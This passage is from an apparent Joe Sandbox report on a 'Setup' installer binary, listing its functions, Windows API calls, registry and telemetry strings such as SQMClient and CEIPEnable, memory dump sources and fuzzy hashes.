                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: CloseOpenQueryValue
                    • String ID: CEIPEnable
                    • API String ID: 3677997916-1389088331
                    • Opcode ID: 118a73a21c8b7405bd3be76074332724310b76202b93aebfaccd20e471d827d4
                    • Instruction ID: 9c917c1d8c6b4260bd9e4e65cec6112e1bfba243ba44fc9876dcaa087fd452d3
                    • Opcode Fuzzy Hash: 118a73a21c8b7405bd3be76074332724310b76202b93aebfaccd20e471d827d4
                    • Instruction Fuzzy Hash: 2B31E43595860AEFCB45CEC4C894FAD7BF9EB45B84F204065E914AA1B0D372CD849B63
                    Function 6CBC3439 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 98COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBC3440
                    • PathStripToRootW.SHLWAPI(00000000,C600000B,6CBBFA6E,00000010,?,?,00000738,6CBBFA6E,?,6CB7A794,-00000960), ref: 6CBC34D8
                    • GetLastError.KERNEL32(?,?,00000738,6CBBFA6E,?,6CB7A794,-00000960), ref: 6CBC350D
                    Strings
                    • Failed to record SystemMemory, xrefs: 6CBC3527
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: ErrorH_prolog3LastPathRootStrip
                    • String ID: Failed to record SystemMemory
                    • API String ID: 1831876552-335854511
                    • Opcode ID: 8bfbc10a947ba9f4963ee69017c9b8682dca98835dc51e7d770319988d55bf9f
                    • Instruction ID: 6968ed1d9b34869575db810995085b607a1d21562df8c4ab32c2904fd9aabda9
                    • Opcode Fuzzy Hash: 8bfbc10a947ba9f4963ee69017c9b8682dca98835dc51e7d770319988d55bf9f
                    • Instruction Fuzzy Hash: DB31AE71A0015A9FCF00DFB4C885AEEBB79BF04369F510654E521E7B90CB35E909CBA1
                    Function 6CBB7C9E Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBB7CA5
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CB8391D: __EH_prolog3.LIBCMT ref: 6CB83924
                      • Part of subcall function 6CB8395E: __EH_prolog3.LIBCMT ref: 6CB83965
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID: Package Name = %s$Package Version = %s$Package details
                    • API String ID: 431132790-2412997842
                    • Opcode ID: 74a66cf320db270807c0c762a140dd2ac7d699ec0296cbc8cf70e9dd48b7a3aa
                    • Instruction ID: 283f0bfc15a771c2da6c64cc54f96119cd7c62e55743d0d7954bc774bca66c35
                    • Opcode Fuzzy Hash: 74a66cf320db270807c0c762a140dd2ac7d699ec0296cbc8cf70e9dd48b7a3aa
                    • Instruction Fuzzy Hash: 86319E71900189EFDF00CBE8C944BEDBBB4AF04318F184554E554BB791CB72EA09CBA2
                    Function 6CB8712B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB87132
                    • SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,00000010), ref: 6CB87191
                    • #195.MSI(00000010,00000000,00000104,00000000,00000000,00000104,00000010,MSI.dll), ref: 6CB87200
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: #195FolderH_prolog3Path
                    • String ID: MSI.dll
                    • API String ID: 2462876523-3845536143
                    • Opcode ID: 12d3f83c8950c1f6c6e708f6ab2e46c89a850bf235b67d0c2f4a81be495471cd
                    • Instruction ID: e27d66cb93fb6fdf12b514b64ad692eeaa813eea558312e829e5334df07282dc
                    • Opcode Fuzzy Hash: 12d3f83c8950c1f6c6e708f6ab2e46c89a850bf235b67d0c2f4a81be495471cd
                    • Instruction Fuzzy Hash: 85317F70A10289DFDF04DFA8C888BFEBBB5BF04319F054559E511AB791C775AA098BA0
                    Function 6CBBF821 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53COMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 6CBB76A7: __EH_prolog3.LIBCMT ref: 6CBB76AE
                      • Part of subcall function 6CBB76A7: GetModuleHandleW.KERNEL32(kernel32.dll,00000020,6CBBF845,?), ref: 6CBB7748
                      • Part of subcall function 6CBB76A7: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 6CBB7758
                      • Part of subcall function 6CBB76A7: SetThreadStackGuarantee.KERNEL32(00020000), ref: 6CBB776D
                      • Part of subcall function 6CBB76A7: SetUnhandledExceptionFilter.KERNEL32(6CBC416A), ref: 6CBB7774
                      • Part of subcall function 6CBB76A7: GetCommandLineW.KERNEL32 ref: 6CBB777A
                    • _memset.LIBCMT ref: 6CBBF85B
                    • GetEnvironmentVariableW.KERNEL32(DebugIronMan,?,000000FF,?,?,?), ref: 6CBBF874
                    • DebugBreak.KERNEL32(?,?,?), ref: 6CBBF8B8
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: AddressBreakCommandDebugEnvironmentExceptionFilterGuaranteeH_prolog3HandleLineModuleProcStackThreadUnhandledVariable_memset
                    • String ID: DebugIronMan
                    • API String ID: 12115070-628588297
                    • Opcode ID: a23e5024ba174a3b3713b64d5eb989e4829dc667c27283453271342bddfbf9e9
                    • Instruction ID: ecfe80c333392d2a2aad3090ca53565c984a1bb9e5395bc09c169aad1186396b
                    • Opcode Fuzzy Hash: a23e5024ba174a3b3713b64d5eb989e4829dc667c27283453271342bddfbf9e9
                    • Instruction Fuzzy Hash: BD11047960028AEADB10AF74CD05ABBB3F8EF04B59F444660D426E7A81FB30D644C751
                    Function 6E0C2E0F Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 85COMMON
                    Download Yara Rule
                    APIs
                    • memset.MSVCRT ref: 6E0C2E34
                      • Part of subcall function 6E0C182C: RegOpenKeyExW.KERNEL32(?,?,00000000,-00020018,6E0C2E5E,?,?,00000000,?,?,?,6E0C2E5E,80000002,Software\Microsoft\SQMClient,MachineId,?), ref: 6E0C1897
                      • Part of subcall function 6E0C182C: RegQueryValueExW.KERNEL32(6E0C2E5E,?,00000000,00000027,80000002,?,?,00000000,?,?,?,6E0C2E5E,80000002,Software\Microsoft\SQMClient,MachineId,?), ref: 6E0C18B3
                      • Part of subcall function 6E0C182C: RegCloseKey.ADVAPI32(6E0C2E5E,?,00000000,?,?,?,6E0C2E5E,80000002,Software\Microsoft\SQMClient,MachineId,?,00000027), ref: 6E0C18D1
                    • SetLastError.KERNEL32(00000000,80000002,Software\Microsoft\SQMClient,MachineId,?,00000027), ref: 6E0C2E80
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: CloseErrorLastOpenQueryValuememset
                    • String ID: MachineId$Software\Microsoft\SQMClient
                    • API String ID: 895213837-1718750536
                    • Opcode ID: 1fe562d76e03d67d469919766e20f88aeccc30d62a9249877c5b7326ab6913f3
                    • Instruction ID: 4e7be1568e8c6dbb809f9b880af621dd0232cae99d0d53dc4db2c6f1997ecd67
                    • Opcode Fuzzy Hash: 1fe562d76e03d67d469919766e20f88aeccc30d62a9249877c5b7326ab6913f3
                    • Instruction Fuzzy Hash: 0921E031144704AFDB80EEE4CCC5FAE7BBAAB41F84F414478E909AB199DA75C98CC712
                    Function 6E0C3D03 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 85COMMON
                    Download Yara Rule
                    APIs
                    • memset.MSVCRT ref: 6E0C3D28
                      • Part of subcall function 6E0C182C: RegOpenKeyExW.KERNEL32(?,?,00000000,-00020018,6E0C2E5E,?,?,00000000,?,?,?,6E0C2E5E,80000002,Software\Microsoft\SQMClient,MachineId,?), ref: 6E0C1897
                      • Part of subcall function 6E0C182C: RegQueryValueExW.KERNEL32(6E0C2E5E,?,00000000,00000027,80000002,?,?,00000000,?,?,?,6E0C2E5E,80000002,Software\Microsoft\SQMClient,MachineId,?), ref: 6E0C18B3
                      • Part of subcall function 6E0C182C: RegCloseKey.ADVAPI32(6E0C2E5E,?,00000000,?,?,?,6E0C2E5E,80000002,Software\Microsoft\SQMClient,MachineId,?,00000027), ref: 6E0C18D1
                    • SetLastError.KERNEL32(00000000,80000001,Software\Microsoft\SQMClient,UserId,?,00000027), ref: 6E0C3D74
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: CloseErrorLastOpenQueryValuememset
                    • String ID: Software\Microsoft\SQMClient$UserId
                    • API String ID: 895213837-3032788761
                    • Opcode ID: 2b9b6b299326be0d76d9132847cb92e63cf6c338a99669f3b54f118fab489526
                    • Instruction ID: d992d90e4cf918a2af25861e161ba25a33b0f6234b4da324371fec9390f69fe4
                    • Opcode Fuzzy Hash: 2b9b6b299326be0d76d9132847cb92e63cf6c338a99669f3b54f118fab489526
                    • Instruction Fuzzy Hash: B6213631214204AFDB80EEE4DCD8FAE37B9EB06F88F0000B5E905AB151DB75C9888793
                    Function 6E0C3679 Relevance: 6.1, APIs: 4, Instructions: 64COMMON
                    Download Yara Rule
                    APIs
                    • GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,6E0C332F,?), ref: 6E0C3683
                    • OpenProcessToken.ADVAPI32(00000000,00000008,?,?,?,?,?,6E0C332F,?), ref: 6E0C36B3
                      • Part of subcall function 6E0C2815: GetTokenInformation.KERNELBASE(?,6E0C332F(TokenIntegrityLevel),00000000,00000000,00000000,00000000,00000000,?,?,6E0C36C7,?,00000001), ref: 6E0C2835
                      • Part of subcall function 6E0C2815: GetLastError.KERNEL32(?,?,6E0C36C7,?,00000001,?,?,?,?,6E0C332F,?), ref: 6E0C283B
                      • Part of subcall function 6E0C2815: GetTokenInformation.KERNELBASE(?,6E0C332F(TokenIntegrityLevel),00000000,00000000,00000000,?,?,6E0C36C7,?,00000001,?,?,?,?,6E0C332F,?), ref: 6E0C2863
                    • ConvertSidToStringSidW.ADVAPI32(00000000,?), ref: 6E0C36D5
                    • CloseHandle.KERNEL32(?,?,00000001,?,?,?,?,6E0C332F,?), ref: 6E0C36E0
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
                    • String ID:
                    • API String ID: 995526605-0
                    • Opcode ID: dc94c4c7b74f4164e4d455b8eb744f80d79c86a9b98fcf0d5c997331bc7118b6
                    • Instruction ID: eb0b3e8dfe7d237f71b4acb04ceeb285419671c33d355fbe509e6de727155e36
                    • Opcode Fuzzy Hash: dc94c4c7b74f4164e4d455b8eb744f80d79c86a9b98fcf0d5c997331bc7118b6
                    • Instruction Fuzzy Hash: 1A11BF75610206FFDB109FE5D889F9E7AA9EF09BD4F1080A8F800AB250DB7589548791
                    Function 6CBDC0AA Relevance: 6.0, APIs: 4, Instructions: 46COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • _malloc.LIBCMT ref: 6CBDC0C4
                      • Part of subcall function 6CBDBFB3: __FF_MSGBANNER.LIBCMT ref: 6CBDBFCC
                      • Part of subcall function 6CBDBFB3: __NMSG_WRITE.LIBCMT ref: 6CBDBFD3
                      • Part of subcall function 6CBDBFB3: RtlAllocateHeap.NTDLL(00000000,00000001,?,6CBB831D,00000000,?,6CBDC0C9,6CBBF845,00000C00,00000020,6CBBF845,?), ref: 6CBDBFF8
                    • std::exception::exception.LIBCMT ref: 6CBDC0F9
                    • std::exception::exception.LIBCMT ref: 6CBDC113
                    • __CxxThrowException@8.LIBCMT ref: 6CBDC124
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
                    • String ID:
                    • API String ID: 615853336-0
                    • Opcode ID: 0465a41b2662162946d8088301d64edaf48f264cfd2d15919e8b686f6b90cfac
                    • Instruction ID: bba276a378a99873d76e3fe107b57143e5020ce8e32017cca29a831ec89e7393
                    • Opcode Fuzzy Hash: 0465a41b2662162946d8088301d64edaf48f264cfd2d15919e8b686f6b90cfac
                    • Instruction Fuzzy Hash: 89F0C8365002C96BDF00EF9ACD02FDD7BB9AB0175CF290155E824E6E91DB70EA099B51
                    Function 6CB854FB Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 115COMMON
                    Download Yara Rule
                    APIs
                    • GetSystemInfo.KERNEL32(?), ref: 6CB85562
                      • Part of subcall function 6CB84FAC: _memset.LIBCMT ref: 6CB84FB4
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3InfoSystem_memset
                    • String ID: %s - %s %s %s$Unknown OS
                    • API String ID: 3853411852-1218788732
                    • Opcode ID: 6de01d04f3f475ffaf3b77f166526a4cb0e243dd09018629426b49811244d712
                    • Instruction ID: 261be15940e4126d6d4b239c88fe28a8f588a27cc404b80628f884f365c2ec4b
                    • Opcode Fuzzy Hash: 6de01d04f3f475ffaf3b77f166526a4cb0e243dd09018629426b49811244d712
                    • Instruction Fuzzy Hash: 83416D322083859FD720CB64C840A8FBBE4AF89358F040A1EF49597791DB31A6498B93
                    Function 6CB94397 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 108COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB9439E
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CB8A5D0: __EH_prolog3.LIBCMT ref: 6CB8A5D7
                      • Part of subcall function 6CB8A5D0: SysFreeString.OLEAUT32(?), ref: 6CB8A62B
                      • Part of subcall function 6CBB8863: _wcschr.LIBCMT ref: 6CBB887A
                      • Part of subcall function 6CB944EA: __EH_prolog3.LIBCMT ref: 6CB944F1
                      • Part of subcall function 6CB944EA: __CxxThrowException@8.LIBCMT ref: 6CB945E9
                      • Part of subcall function 6CB94613: RegCloseKey.ADVAPI32(?,00000034,00000034,00000034,00000034,00000000,00000000,?,00000034,RegKey,?,RegValueName,00000034,6CB942F8,6CB7A794,-00000960), ref: 6CB9468D
                      • Part of subcall function 6CB94613: RegCloseKey.ADVAPI32(?,00000034,00000034,00000000,00000000,?,00000034,RegKey,?,RegValueName,00000034,6CB942F8,6CB7A794,-00000960), ref: 6CB9469E
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$Close$Exception@8FreeStringThrow_wcschr
                    • String ID: RegKey$RegValueName
                    • API String ID: 3842226755-3571311812
                    • Opcode ID: 8d6bfee5b9659454648066afd26d4dc9f28e0875820a9fb67871aaf155da8744
                    • Instruction ID: 1c2a5a08523324fdfad102c6cb8e064178f757410d52685e984ae84d7507cf1f
                    • Opcode Fuzzy Hash: 8d6bfee5b9659454648066afd26d4dc9f28e0875820a9fb67871aaf155da8744
                    • Instruction Fuzzy Hash: 72417C319002899FCF10DBA8C944BEEB7B4AF05328F140255E425FB780CB75AE09CBA2
                    Function 6CB94265 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB9426C
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CB8A63E: __EH_prolog3.LIBCMT ref: 6CB8A645
                      • Part of subcall function 6CB8A63E: SysFreeString.OLEAUT32(?), ref: 6CB8A69B
                      • Part of subcall function 6CB94397: __EH_prolog3.LIBCMT ref: 6CB9439E
                    • GetUserDefaultUILanguage.KERNEL32(6CB7A794,-00000960), ref: 6CB94302
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$DefaultFreeLanguageStringUser
                    • String ID: LCIDHint
                    • API String ID: 188276182-1583853939
                    • Opcode ID: d9edd67977be4999038af93b973a38e348b6dcbc6bc156f4320d5751936dedbe
                    • Instruction ID: 889e67089bc4ad4cb14118e911df4ad1c1d95b1b0b098b6be3fad9b39bade189
                    • Opcode Fuzzy Hash: d9edd67977be4999038af93b973a38e348b6dcbc6bc156f4320d5751936dedbe
                    • Instruction Fuzzy Hash: 38417F71A01289DFDB00CBB8C984AEEB7B5FF45318F244569E425AB680CB31DE05CF61
                    Function 6CBB9268 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 86COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBB926F
                      • Part of subcall function 6CBC02A3: __EH_prolog3.LIBCMT ref: 6CBC02AA
                      • Part of subcall function 6CBC02A3: GetCommandLineW.KERNEL32(0000001C,6CBB9382,-00000960,6CB7A794,?,6CB8BFC7,00000018,6CB8BC3C,-0000093C,?,?,?,?,?,?,UserExperienceDataCollection), ref: 6CBC02AF
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$CommandLine
                    • String ID: Policy$UserExperienceDataCollection
                    • API String ID: 1384747822-3168315836
                    • Opcode ID: c32ece7c2903a1d17466c1a6a3567fea0718c6c3094e603543c9adc7ce194b5a
                    • Instruction ID: 9ee71934dbcdfc69bcb00676eb102007cbdc7717d44663c905aa96df2804d370
                    • Opcode Fuzzy Hash: c32ece7c2903a1d17466c1a6a3567fea0718c6c3094e603543c9adc7ce194b5a
                    • Instruction Fuzzy Hash: B9319670A00285DFCB04DFA8C944BAE7BB9BF45358F148558F815EB781CB31DA04CBA1
                    Function 6CB91EBF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 85COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB91EC6
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                      • Part of subcall function 6CB919AD: __EH_prolog3.LIBCMT ref: 6CB919B4
                      • Part of subcall function 6CB919AD: __CxxThrowException@8.LIBCMT ref: 6CB91ADE
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$Exception@8Throw
                    • String ID: BlockIf$DisplayText
                    • API String ID: 2489616738-2498774408
                    • Opcode ID: febad5d9ba67fc7f843abc7d78a978fb0fd12513a1a68c12ff0065f419cb9a74
                    • Instruction ID: a7faebddd5b9a75d1fba9a50943a12bba5f4a28a18e109f42cc26edd8671cf8d
                    • Opcode Fuzzy Hash: febad5d9ba67fc7f843abc7d78a978fb0fd12513a1a68c12ff0065f419cb9a74
                    • Instruction Fuzzy Hash: BF317071901289EFCF00CFA8C940AEE77B8BF45358F144559F824AB740CB31EA09CBA2
                    Function 6CB9D8A6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 77COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID: RepairOverride$UninstallOverride
                    • API String ID: 431132790-715699446
                    • Opcode ID: 6a560a333ce5463214fff4f605b949eea19a86393eee7816bd94ebe14c0ff00e
                    • Instruction ID: 5f80321ff3068a37743d9c4b259d3a355881d10e6900f0e229bb6e993fc2b9c1
